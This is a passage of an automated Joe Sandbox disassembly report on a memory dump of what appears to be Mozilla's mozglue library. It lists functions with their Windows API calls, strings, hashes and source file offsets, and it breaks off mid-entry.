Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: !oi/$GeckoMain
API String ID: 3711609982-3527996372
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C6AD840 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Strings

!oi/, xrefs: 6C6AD84E, 6C6ADA4E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID: !oi/
API String ID: 1195625958-845032489
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C669590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
!oi/, xrefs: 6C66959E, 6C669632
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: !oi/$Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-245951286
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6AD4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Strings

!oi/, xrefs: 6C6AD4E1, 6C6AD5EE

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: !oi/
API String ID: 2206442479-845032489
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C6B6660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890
!oi/, xrefs: 6C6B6678

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: !oi/$WalkStack64
API String ID: 2357170935-1978996326
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

<none>, xrefs: 6C69DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C675670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

!oi/, xrefs: 6C67567F
MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: !oi/$MOZ_APP_RESTART
API String ID: 2752551254-3938477387
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C651E90 Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

MOZ_CRASH(), xrefs: 6C652000
!oi/, xrefs: 6C651E9C
\ml, xrefs: 6C651F3E
Dml, xrefs: 6C651F56
Dml, xrefs: 6C651F32

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: !oi/$Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-2789028564
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C6BAC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Strings

!oi/, xrefs: 6C6BAC29

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: !oi/
API String ID: 1192971331-845032489
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C698ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

timeline-ipc, xrefs: 6C699096
name, xrefs: 6C698F16
data, xrefs: 6C6990E8
marker-table, xrefs: 6C69906C
timeline-overview, xrefs: 6C69907A
timeline-fileio, xrefs: 6C6990A4
marker-chart, xrefs: 6C69905E
!oi/, xrefs: 6C698ED9
stack-chart, xrefs: 6C6990B2
timeline-memory, xrefs: 6C699088

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: !oi/$data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3376607691
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C653480 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
!oi/, xrefs: 6C653488
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: !oi/$GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-2251319065
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

